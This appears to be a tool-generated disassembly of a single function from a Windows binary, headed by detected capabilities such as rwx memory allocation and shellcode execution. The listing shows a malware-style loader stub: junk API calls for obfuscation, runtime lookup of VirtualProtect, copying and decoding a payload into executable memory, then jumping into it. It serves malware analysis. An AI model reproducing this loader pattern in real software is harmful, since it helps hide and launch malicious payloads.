Function at 0x4016c8
Capabilities:
Allocate or change rwx memory
Create directory
Enumerate gui resources
Execute shellcode via indirect call
Execute shellcode via windows callback function
Manipulate console buffer

Disassembly:
mov eax, 0x41ce99
call fcn.0041bb3c
sub esp, 0x28
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov esi, dword [sym.imp.KERNEL32.dll_SetLastError]
push ebx
call esi
cmp edi, 0x207138
jg 0x4016f6
inc edi
cmp edi, 0x4f672
jl 0x4016dc
cmp dword [0x280fac4], 0x93
jne 0x4017a2
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalGetAtomNameW]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_InsertMenuItemW]
xor eax, eax
lock bts dword [eax], 0
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push str.kojetedodadexuyederozaliv_cejonaritovajowacigep
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenFileMappingW]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_ReplaceFileW]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesW]
push ebx
push ebx
call dword [sym.imp.ole32.dll_CoMarshalHresult]
call dword [sym.imp.ole32.dll_CoSuspendClassObjects]
push ebx
push ebx
push ebx
call dword [sym.imp.SHELL32.dll_FindExecutableA]
mov dword [ebp - 0x20], 0xf
mov dword [ebp - 0x24], ebx
mov byte [ebp - 0x34], bl
push ebx
push ebx
mov dword [ebp - 4], ebx
call fcn.00402141
push ebx
push ebx
call fcn.00401f46
push ebx
call fcn.00402204
push ebx
call fcn.00402213
or dword [ebp - 4], 0xffffffff
add esp, 0x18
cmp dword [ebp - 0x20], 0x10
jb 0x4017a2
push dword [ebp - 0x34]
call fcn.0040214c
pop ecx
mov eax, dword [0x421be8]
add dword [0x280fac4], 0x1134b
push str.kernel32.dll
mov dword [0x2810900], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push str.VirtualProtect
push eax
mov dword [0x280f554], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [0x280fac4]
mov dword [0x280f548], eax
push ebx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [ebp - 0x10]
push ecx
push 0x40
push dword [0x280fac4]
mov dword [0x280f550], eax
push eax
call dword [0x280f548]
mov edi, 0x1692e
push ebx
call dword [sym.imp.USER32.dll_SetMessageExtraInfo]
push ebx
call esi
dec edi
jne 0x401801
mov eax, dword [0x280fac4]
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor esi, esi
cmp eax, ebx
jbe 0x40186a
mov eax, dword [0x2810900]
mov al, byte [eax + esi + 0x1134b]
mov ecx, dword [0x280f550]
mov byte [ecx + esi], al
mov eax, dword [0x280fac4]
cmp eax, 0x490
jne 0x401865
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_IsBadStringPtrW]
push ebx
call edi
lea eax, [ebp - 0x18]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
mov eax, dword [0x280fac4]
inc esi
cmp esi, eax
jb 0x40181f
xor esi, esi
lea ecx, [eax + esi]
cmp ecx, 0x8d
jne 0x4018a1
push ebx
call dword [sym.imp.KERNEL32.dll_RemoveVectoredExceptionHandler]
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_GetClassInfoW]
push ebx
push ebx
call dword [sym.imp.USER32.dll_CharUpperBuffW]
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push ebx
call edi
mov eax, dword [0x280fac4]
inc esi
cmp esi, 0x38681
jl 0x40186c
mov ecx, dword [0x280f550]
shr eax, 3
cmp eax, ebx
jbe 0x4018ca
mov esi, ecx
mov dword [ebp - 0x14], eax
push esi
call fcn.00401007
add esi, 8
dec dword [ebp - 0x14]
jne 0x4018bc
xor esi, esi
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp esi, 0x61
jne 0x4018eb
mov dword [ebp - 0x14], ebx
add dword [ebp - 0x14], 0x60c7
mov eax, dword [ebp - 0x14]
add dword [0x280f550], eax
inc esi
cmp esi, 0x674bd
jl 0x4018cc
push 0x7b
pop esi
cmp dword [0x280fac4], 0x86
jne 0x40192f
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push str.jusotocupibimayudevujo
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.WINHTTP.dll_WinHttpWriteData]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.GDI32.dll_GetCharWidthW]
dec esi
jne 0x4018f7
push str.msimg32.dll
call edi
call dword [0x280f550]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret